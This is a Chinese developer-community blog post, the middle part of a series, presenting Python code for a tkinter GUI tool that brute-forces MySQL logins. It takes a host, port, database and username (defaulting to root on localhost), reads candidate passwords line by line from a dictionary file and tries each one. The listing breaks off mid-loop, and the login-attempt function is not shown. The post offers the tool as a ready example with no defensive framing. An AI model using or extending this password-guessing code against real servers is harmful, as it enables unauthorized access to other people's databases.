Python暴力破解Mysql数据的示例(中)
【摘要】 完整代码1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001...
完整代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
|
# -*-coding:UTF-8 -*-
import tkinter
import tkinter.messagebox
import pymysql
import time
win = tkinter.Tk()
# 设置标题
win.title( 'Mysql暴力破解' )
# 设置位置和大小
win.geometry( "400x400+704+304" )
# 描述性文字
tkinter.Label(win, text = '主机地址:' , font = ( 'Helvetica Neue' , 12 )).place(x = 10 , y = 10 )
tkinter.Label(win, text = '端口号:' , font = ( 'Helvetica Neue' , 12 )).place(x = 10 , y = 50 )
tkinter.Label(win, text = '数据库名:' , font = ( 'Helvetica Neue' , 12 )).place(x = 10 , y = 90 )
tkinter.Label(win, text = '用户名:' , font = ( 'Helvetica Neue' , 12 )).place(x = 10 , y = 130 )
# 主机
host_default = tkinter.StringVar()
host_default. set ( '127.0.0.1' )
host = tkinter.Entry(win, textvariable = host_default, font = ( 'Helvetica Neue' , 14 ))
host.place(x = 120 , y = 10 )
# 端口号
port_default = tkinter.StringVar()
port_default. set ( '3306' )
port = tkinter.Entry(win, textvariable = port_default, font = ( 'Helvetica Neue' , 14 ))
port.place(x = 120 , y = 50 )
# 数据库名
database_default = tkinter.StringVar()
database_default. set ( 'school' )
database = tkinter.Entry(win, textvariable = database_default, font = ( 'Helvetica Neue' , 14 ))
database.place(x = 120 , y = 90 )
# 用户名
name_default = tkinter.StringVar()
name_default. set ( 'root' )
name = tkinter.Entry(win, textvariable = name_default, font = ( 'Helvetica Neue' , 14 ))
name.place(x = 120 , y = 130 )
# 计算及下一步操作
def button_call_back():
# 获取输入框内的数据
host = host_default.get()
port = port_default.get()
database = database_default.get()
name = name_default.get()
if (host and port) and (database and name):
# 破解
dictionaries(host, port, database, name)
else :
tkinter.messagebox.showinfo( '提示信息' , '请输入完整数据' )
# 读取密码字典的方法
def dictionaries(host, port, database, name):
# 字典路径
file = "./text1.txt"
f = open ( file ) # 返回一个文件对象
line = f.readline() # 调用文件的 readline()方法
# 密码
password = ''
# 开始时间
start_time = time.time()
# 次数
num = 0
# 结果项
content = False
while line:
# 进行破解
password = line.strip()
content = find_pass(host, port, database, name, password)
|
【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
作者其他文章
评论(0)